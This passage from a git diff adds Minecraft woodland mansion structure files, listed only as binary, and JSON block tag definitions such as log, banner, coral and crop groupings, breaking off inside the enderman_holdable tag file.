differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x1_as1.nbt b/src/data/minecraft/structures/woodland_mansion/1x1_as1.nbt new file mode 100644 index 00000000..beb92395 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x1_as1.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x1_as2.nbt b/src/data/minecraft/structures/woodland_mansion/1x1_as2.nbt new file mode 100644 index 00000000..07794740 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x1_as2.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x1_as3.nbt b/src/data/minecraft/structures/woodland_mansion/1x1_as3.nbt new file mode 100644 index 00000000..a4e4704e Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x1_as3.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x1_as4.nbt b/src/data/minecraft/structures/woodland_mansion/1x1_as4.nbt new file mode 100644 index 00000000..8b5db9f3 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x1_as4.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x1_b1.nbt b/src/data/minecraft/structures/woodland_mansion/1x1_b1.nbt new file mode 100644 index 00000000..a67a66c2 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x1_b1.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x1_b2.nbt b/src/data/minecraft/structures/woodland_mansion/1x1_b2.nbt new file mode 100644 index 00000000..20070591 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x1_b2.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x1_b3.nbt b/src/data/minecraft/structures/woodland_mansion/1x1_b3.nbt new file mode 100644 index 00000000..96947101 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x1_b3.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x1_b4.nbt b/src/data/minecraft/structures/woodland_mansion/1x1_b4.nbt new file mode 100644 index 00000000..10e2a4cf Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x1_b4.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x1_b5.nbt b/src/data/minecraft/structures/woodland_mansion/1x1_b5.nbt new file mode 100644 index 00000000..754a26ca Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x1_b5.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_a1.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_a1.nbt new file mode 100644 index 00000000..c875bde0 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_a1.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_a2.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_a2.nbt new file mode 100644 index 00000000..577b8cff Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_a2.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_a3.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_a3.nbt new file mode 100644 index 00000000..0fe30aaf Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_a3.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_a4.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_a4.nbt new file mode 100644 index 00000000..3421cbdb Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_a4.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_a5.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_a5.nbt new file mode 100644 index 00000000..6274bf2e Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_a5.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_a6.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_a6.nbt new file mode 100644 index 00000000..16ce4cce Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_a6.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_a7.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_a7.nbt new file mode 100644 index 00000000..4941ef14 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_a7.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_a8.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_a8.nbt new file mode 100644 index 00000000..0e08d44e Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_a8.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_a9.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_a9.nbt new file mode 100644 index 00000000..73fe5a57 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_a9.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_b1.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_b1.nbt new file mode 100644 index 00000000..7ad1cb12 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_b1.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_b2.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_b2.nbt new file mode 100644 index 00000000..1173d5ec Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_b2.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_b3.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_b3.nbt new file mode 100644 index 00000000..2e0fba93 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_b3.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_b4.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_b4.nbt new file mode 100644 index 00000000..ffb6c873 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_b4.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_b5.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_b5.nbt new file mode 100644 index 00000000..0fe3b2e4 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_b5.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_c1.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_c1.nbt new file mode 100644 index 00000000..fdd0dd4a Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_c1.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_c2.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_c2.nbt new file mode 100644 index 00000000..17448a98 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_c2.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_c3.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_c3.nbt new file mode 100644 index 00000000..bbc97a38 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_c3.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_c4.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_c4.nbt new file mode 100644 index 00000000..d97c2818 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_c4.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_c_stairs.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_c_stairs.nbt new file mode 100644 index 00000000..4f979205 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_c_stairs.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_d1.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_d1.nbt new file mode 100644 index 00000000..3f4c7cb4 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_d1.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_d2.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_d2.nbt new file mode 100644 index 00000000..fe0e9cac Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_d2.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_d3.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_d3.nbt new file mode 100644 index 00000000..62ab1edf Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_d3.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_d4.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_d4.nbt new file mode 100644 index 00000000..d704352a Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_d4.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_d5.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_d5.nbt new file mode 100644 index 00000000..ccb35e07 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_d5.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_d_stairs.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_d_stairs.nbt new file mode 100644 index 00000000..ea1ac426 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_d_stairs.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_s1.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_s1.nbt new file mode 100644 index 00000000..55f3d63a Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_s1.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_s2.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_s2.nbt new file mode 100644 index 00000000..5ad53f45 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_s2.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/1x2_se1.nbt b/src/data/minecraft/structures/woodland_mansion/1x2_se1.nbt new file mode 100644 index 00000000..ecf5ab2e Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/1x2_se1.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/2x2_a1.nbt b/src/data/minecraft/structures/woodland_mansion/2x2_a1.nbt new file mode 100644 index 00000000..a84fe19e Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/2x2_a1.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/2x2_a2.nbt b/src/data/minecraft/structures/woodland_mansion/2x2_a2.nbt new file mode 100644 index 00000000..bb334c7c Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/2x2_a2.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/2x2_a3.nbt b/src/data/minecraft/structures/woodland_mansion/2x2_a3.nbt new file mode 100644 index 00000000..2807c19b Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/2x2_a3.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/2x2_a4.nbt b/src/data/minecraft/structures/woodland_mansion/2x2_a4.nbt new file mode 100644 index 00000000..0e489a1b Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/2x2_a4.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/2x2_b1.nbt b/src/data/minecraft/structures/woodland_mansion/2x2_b1.nbt new file mode 100644 index 00000000..038fb56a Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/2x2_b1.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/2x2_b2.nbt b/src/data/minecraft/structures/woodland_mansion/2x2_b2.nbt new file mode 100644 index 00000000..851ab24b Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/2x2_b2.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/2x2_b3.nbt b/src/data/minecraft/structures/woodland_mansion/2x2_b3.nbt new file mode 100644 index 00000000..6c2936b1 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/2x2_b3.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/2x2_b4.nbt b/src/data/minecraft/structures/woodland_mansion/2x2_b4.nbt new file mode 100644 index 00000000..1044b4c4 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/2x2_b4.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/2x2_b5.nbt b/src/data/minecraft/structures/woodland_mansion/2x2_b5.nbt new file mode 100644 index 00000000..09920b03 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/2x2_b5.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/2x2_s1.nbt b/src/data/minecraft/structures/woodland_mansion/2x2_s1.nbt new file mode 100644 index 00000000..d7efaf9d Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/2x2_s1.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/carpet_east.nbt b/src/data/minecraft/structures/woodland_mansion/carpet_east.nbt new file mode 100644 index 00000000..48b0eeb7 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/carpet_east.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/carpet_north.nbt b/src/data/minecraft/structures/woodland_mansion/carpet_north.nbt new file mode 100644 index 00000000..e76b7bb6 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/carpet_north.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/carpet_south_1.nbt b/src/data/minecraft/structures/woodland_mansion/carpet_south_1.nbt new file mode 100644 index 00000000..d3e2e6d2 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/carpet_south_1.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/carpet_south_2.nbt b/src/data/minecraft/structures/woodland_mansion/carpet_south_2.nbt new file mode 100644 index 00000000..cb0ca747 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/carpet_south_2.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/carpet_west_1.nbt b/src/data/minecraft/structures/woodland_mansion/carpet_west_1.nbt new file mode 100644 index 00000000..286b3ddc Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/carpet_west_1.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/carpet_west_2.nbt b/src/data/minecraft/structures/woodland_mansion/carpet_west_2.nbt new file mode 100644 index 00000000..0573bea5 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/carpet_west_2.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/corridor_floor.nbt b/src/data/minecraft/structures/woodland_mansion/corridor_floor.nbt new file mode 100644 index 00000000..844e1a0f Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/corridor_floor.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/entrance.nbt b/src/data/minecraft/structures/woodland_mansion/entrance.nbt new file mode 100644 index 00000000..59824929 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/entrance.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/indoors_door_1.nbt b/src/data/minecraft/structures/woodland_mansion/indoors_door_1.nbt new file mode 100644 index 00000000..0bef125f Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/indoors_door_1.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/indoors_door_2.nbt b/src/data/minecraft/structures/woodland_mansion/indoors_door_2.nbt new file mode 100644 index 00000000..0933e300 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/indoors_door_2.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/indoors_wall_1.nbt b/src/data/minecraft/structures/woodland_mansion/indoors_wall_1.nbt new file mode 100644 index 00000000..9f761507 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/indoors_wall_1.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/indoors_wall_2.nbt b/src/data/minecraft/structures/woodland_mansion/indoors_wall_2.nbt new file mode 100644 index 00000000..0ef866e9 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/indoors_wall_2.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/roof.nbt b/src/data/minecraft/structures/woodland_mansion/roof.nbt new file mode 100644 index 00000000..31717397 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/roof.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/roof_corner.nbt b/src/data/minecraft/structures/woodland_mansion/roof_corner.nbt new file mode 100644 index 00000000..b70d31ec Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/roof_corner.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/roof_front.nbt b/src/data/minecraft/structures/woodland_mansion/roof_front.nbt new file mode 100644 index 00000000..b1ccfd51 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/roof_front.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/roof_inner_corner.nbt b/src/data/minecraft/structures/woodland_mansion/roof_inner_corner.nbt new file mode 100644 index 00000000..4407f3de Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/roof_inner_corner.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/small_wall.nbt b/src/data/minecraft/structures/woodland_mansion/small_wall.nbt new file mode 100644 index 00000000..088203ef Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/small_wall.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/small_wall_corner.nbt b/src/data/minecraft/structures/woodland_mansion/small_wall_corner.nbt new file mode 100644 index 00000000..ab47d299 Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/small_wall_corner.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/wall_corner.nbt b/src/data/minecraft/structures/woodland_mansion/wall_corner.nbt new file mode 100644 index 00000000..2cbb296d Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/wall_corner.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/wall_flat.nbt b/src/data/minecraft/structures/woodland_mansion/wall_flat.nbt new file mode 100644 index 00000000..36bbe9da Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/wall_flat.nbt differ diff --git a/src/data/minecraft/structures/woodland_mansion/wall_window.nbt b/src/data/minecraft/structures/woodland_mansion/wall_window.nbt new file mode 100644 index 00000000..71cb65fc Binary files /dev/null and b/src/data/minecraft/structures/woodland_mansion/wall_window.nbt differ diff --git a/src/data/minecraft/tags/blocks/acacia_logs.json b/src/data/minecraft/tags/blocks/acacia_logs.json new file mode 100644 index 00000000..2aa36aea --- /dev/null +++ b/src/data/minecraft/tags/blocks/acacia_logs.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:acacia_log", + "minecraft:acacia_wood", + "minecraft:stripped_acacia_log", + "minecraft:stripped_acacia_wood" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/anvil.json b/src/data/minecraft/tags/blocks/anvil.json new file mode 100644 index 00000000..d69773e1 --- /dev/null +++ b/src/data/minecraft/tags/blocks/anvil.json @@ -0,0 +1,8 @@ +{ + "replace": false, + "values": [ + "minecraft:anvil", + "minecraft:chipped_anvil", + "minecraft:damaged_anvil" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/bamboo_plantable_on.json b/src/data/minecraft/tags/blocks/bamboo_plantable_on.json new file mode 100644 index 00000000..53fe3036 --- /dev/null +++ b/src/data/minecraft/tags/blocks/bamboo_plantable_on.json @@ -0,0 +1,14 @@ +{ + "replace": false, + "values": [ + "#minecraft:sand", + "minecraft:bamboo", + "minecraft:bamboo_sapling", + "minecraft:gravel", + "minecraft:dirt", + "minecraft:grass_block", + "minecraft:podzol", + "minecraft:coarse_dirt", + "minecraft:mycelium" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/banners.json b/src/data/minecraft/tags/blocks/banners.json new file mode 100644 index 00000000..df4ebc27 --- /dev/null +++ b/src/data/minecraft/tags/blocks/banners.json @@ -0,0 +1,37 @@ +{ + "replace": false, + "values": [ + "minecraft:white_banner", + "minecraft:orange_banner", + "minecraft:magenta_banner", + "minecraft:light_blue_banner", + "minecraft:yellow_banner", + "minecraft:lime_banner", + "minecraft:pink_banner", + "minecraft:gray_banner", + "minecraft:light_gray_banner", + "minecraft:cyan_banner", + "minecraft:purple_banner", + "minecraft:blue_banner", + "minecraft:brown_banner", + "minecraft:green_banner", + "minecraft:red_banner", + "minecraft:black_banner", + "minecraft:white_wall_banner", + "minecraft:orange_wall_banner", + "minecraft:magenta_wall_banner", + "minecraft:light_blue_wall_banner", + "minecraft:yellow_wall_banner", + "minecraft:lime_wall_banner", + "minecraft:pink_wall_banner", + "minecraft:gray_wall_banner", + "minecraft:light_gray_wall_banner", + "minecraft:cyan_wall_banner", + "minecraft:purple_wall_banner", + "minecraft:blue_wall_banner", + "minecraft:brown_wall_banner", + "minecraft:green_wall_banner", + "minecraft:red_wall_banner", + "minecraft:black_wall_banner" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/base_stone_nether.json b/src/data/minecraft/tags/blocks/base_stone_nether.json new file mode 100644 index 00000000..1bbeddb6 --- /dev/null +++ b/src/data/minecraft/tags/blocks/base_stone_nether.json @@ -0,0 +1,8 @@ +{ + "replace": false, + "values": [ + "minecraft:netherrack", + "minecraft:basalt", + "minecraft:blackstone" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/base_stone_overworld.json b/src/data/minecraft/tags/blocks/base_stone_overworld.json new file mode 100644 index 00000000..955eb346 --- /dev/null +++ b/src/data/minecraft/tags/blocks/base_stone_overworld.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:stone", + "minecraft:granite", + "minecraft:diorite", + "minecraft:andesite" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/beacon_base_blocks.json b/src/data/minecraft/tags/blocks/beacon_base_blocks.json new file mode 100644 index 00000000..a368aa50 --- /dev/null +++ b/src/data/minecraft/tags/blocks/beacon_base_blocks.json @@ -0,0 +1,10 @@ +{ + "replace": false, + "values": [ + "minecraft:netherite_block", + "minecraft:emerald_block", + "minecraft:diamond_block", + "minecraft:gold_block", + "minecraft:iron_block" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/beds.json b/src/data/minecraft/tags/blocks/beds.json new file mode 100644 index 00000000..2e031f30 --- /dev/null +++ b/src/data/minecraft/tags/blocks/beds.json @@ -0,0 +1,21 @@ +{ + "replace": false, + "values": [ + "minecraft:red_bed", + "minecraft:black_bed", + "minecraft:blue_bed", + "minecraft:brown_bed", + "minecraft:cyan_bed", + "minecraft:gray_bed", + "minecraft:green_bed", + "minecraft:light_blue_bed", + "minecraft:light_gray_bed", + "minecraft:lime_bed", + "minecraft:magenta_bed", + "minecraft:orange_bed", + "minecraft:pink_bed", + "minecraft:purple_bed", + "minecraft:white_bed", + "minecraft:yellow_bed" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/bee_growables.json b/src/data/minecraft/tags/blocks/bee_growables.json new file mode 100644 index 00000000..9299ae2f --- /dev/null +++ b/src/data/minecraft/tags/blocks/bee_growables.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "#minecraft:crops", + "minecraft:sweet_berry_bush" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/beehives.json b/src/data/minecraft/tags/blocks/beehives.json new file mode 100644 index 00000000..3101ab6e --- /dev/null +++ b/src/data/minecraft/tags/blocks/beehives.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "minecraft:bee_nest", + "minecraft:beehive" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/birch_logs.json b/src/data/minecraft/tags/blocks/birch_logs.json new file mode 100644 index 00000000..7be61059 --- /dev/null +++ b/src/data/minecraft/tags/blocks/birch_logs.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:birch_log", + "minecraft:birch_wood", + "minecraft:stripped_birch_log", + "minecraft:stripped_birch_wood" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/buttons.json b/src/data/minecraft/tags/blocks/buttons.json new file mode 100644 index 00000000..37433a79 --- /dev/null +++ b/src/data/minecraft/tags/blocks/buttons.json @@ -0,0 +1,8 @@ +{ + "replace": false, + "values": [ + "#minecraft:wooden_buttons", + "minecraft:stone_button", + "minecraft:polished_blackstone_button" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/campfires.json b/src/data/minecraft/tags/blocks/campfires.json new file mode 100644 index 00000000..f57ad3d8 --- /dev/null +++ b/src/data/minecraft/tags/blocks/campfires.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "minecraft:campfire", + "minecraft:soul_campfire" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/carpets.json b/src/data/minecraft/tags/blocks/carpets.json new file mode 100644 index 00000000..9b28b1fd --- /dev/null +++ b/src/data/minecraft/tags/blocks/carpets.json @@ -0,0 +1,21 @@ +{ + "replace": false, + "values": [ + "minecraft:white_carpet", + "minecraft:orange_carpet", + "minecraft:magenta_carpet", + "minecraft:light_blue_carpet", + "minecraft:yellow_carpet", + "minecraft:lime_carpet", + "minecraft:pink_carpet", + "minecraft:gray_carpet", + "minecraft:light_gray_carpet", + "minecraft:cyan_carpet", + "minecraft:purple_carpet", + "minecraft:blue_carpet", + "minecraft:brown_carpet", + "minecraft:green_carpet", + "minecraft:red_carpet", + "minecraft:black_carpet" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/climbable.json b/src/data/minecraft/tags/blocks/climbable.json new file mode 100644 index 00000000..76f8d613 --- /dev/null +++ b/src/data/minecraft/tags/blocks/climbable.json @@ -0,0 +1,12 @@ +{ + "replace": false, + "values": [ + "minecraft:ladder", + "minecraft:vine", + "minecraft:scaffolding", + "minecraft:weeping_vines", + "minecraft:weeping_vines_plant", + "minecraft:twisting_vines", + "minecraft:twisting_vines_plant" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/coral_blocks.json b/src/data/minecraft/tags/blocks/coral_blocks.json new file mode 100644 index 00000000..e2e55241 --- /dev/null +++ b/src/data/minecraft/tags/blocks/coral_blocks.json @@ -0,0 +1,10 @@ +{ + "replace": false, + "values": [ + "minecraft:tube_coral_block", + "minecraft:brain_coral_block", + "minecraft:bubble_coral_block", + "minecraft:fire_coral_block", + "minecraft:horn_coral_block" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/coral_plants.json b/src/data/minecraft/tags/blocks/coral_plants.json new file mode 100644 index 00000000..0aa32f52 --- /dev/null +++ b/src/data/minecraft/tags/blocks/coral_plants.json @@ -0,0 +1,10 @@ +{ + "replace": false, + "values": [ + "minecraft:tube_coral", + "minecraft:brain_coral", + "minecraft:bubble_coral", + "minecraft:fire_coral", + "minecraft:horn_coral" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/corals.json b/src/data/minecraft/tags/blocks/corals.json new file mode 100644 index 00000000..649b6ebc --- /dev/null +++ b/src/data/minecraft/tags/blocks/corals.json @@ -0,0 +1,11 @@ +{ + "replace": false, + "values": [ + "#minecraft:coral_plants", + "minecraft:tube_coral_fan", + "minecraft:brain_coral_fan", + "minecraft:bubble_coral_fan", + "minecraft:fire_coral_fan", + "minecraft:horn_coral_fan" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/crimson_stems.json b/src/data/minecraft/tags/blocks/crimson_stems.json new file mode 100644 index 00000000..333772e8 --- /dev/null +++ b/src/data/minecraft/tags/blocks/crimson_stems.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:crimson_stem", + "minecraft:stripped_crimson_stem", + "minecraft:crimson_hyphae", + "minecraft:stripped_crimson_hyphae" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/crops.json b/src/data/minecraft/tags/blocks/crops.json new file mode 100644 index 00000000..cf219608 --- /dev/null +++ b/src/data/minecraft/tags/blocks/crops.json @@ -0,0 +1,11 @@ +{ + "replace": false, + "values": [ + "minecraft:beetroots", + "minecraft:carrots", + "minecraft:potatoes", + "minecraft:wheat", + "minecraft:melon_stem", + "minecraft:pumpkin_stem" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/dark_oak_logs.json b/src/data/minecraft/tags/blocks/dark_oak_logs.json new file mode 100644 index 00000000..e1e3e165 --- /dev/null +++ b/src/data/minecraft/tags/blocks/dark_oak_logs.json @@ -0,0 +1,9 @@ +{ + "replace": false, + "values": [ + "minecraft:dark_oak_log", + "minecraft:dark_oak_wood", + "minecraft:stripped_dark_oak_log", + "minecraft:stripped_dark_oak_wood" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/doors.json b/src/data/minecraft/tags/blocks/doors.json new file mode 100644 index 00000000..0f9fe980 --- /dev/null +++ b/src/data/minecraft/tags/blocks/doors.json @@ -0,0 +1,7 @@ +{ + "replace": false, + "values": [ + "#minecraft:wooden_doors", + "minecraft:iron_door" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/dragon_immune.json b/src/data/minecraft/tags/blocks/dragon_immune.json new file mode 100644 index 00000000..7f97f8ca --- /dev/null +++ b/src/data/minecraft/tags/blocks/dragon_immune.json @@ -0,0 +1,21 @@ +{ + "replace": false, + "values": [ + "minecraft:barrier", + "minecraft:bedrock", + "minecraft:end_portal", + "minecraft:end_portal_frame", + "minecraft:end_gateway", + "minecraft:command_block", + "minecraft:repeating_command_block", + "minecraft:chain_command_block", + "minecraft:structure_block", + "minecraft:jigsaw", + "minecraft:moving_piston", + "minecraft:obsidian", + "minecraft:crying_obsidian", + "minecraft:end_stone", + "minecraft:iron_bars", + "minecraft:respawn_anchor" + ] +} \ No newline at end of file diff --git a/src/data/minecraft/tags/blocks/enderman_holdable.json b/src/data/minecraft/tags/blocks/enderman_holdable.json new file mode 100644 index 00000000..20bad1b1 --- /dev/null +++ b/src/data/minecraft/tags/blocks/enderman_holdable.json @@ -0,0 +1,28 @@ +{ + "replace": false, + "values": [ + "#minecraft:small_flowers", + "minecraft:grass_block", + "minecraft:dirt", + "minecraft:coarse_dirt", + "minecraft:podzol", + "minecraft:sand", + 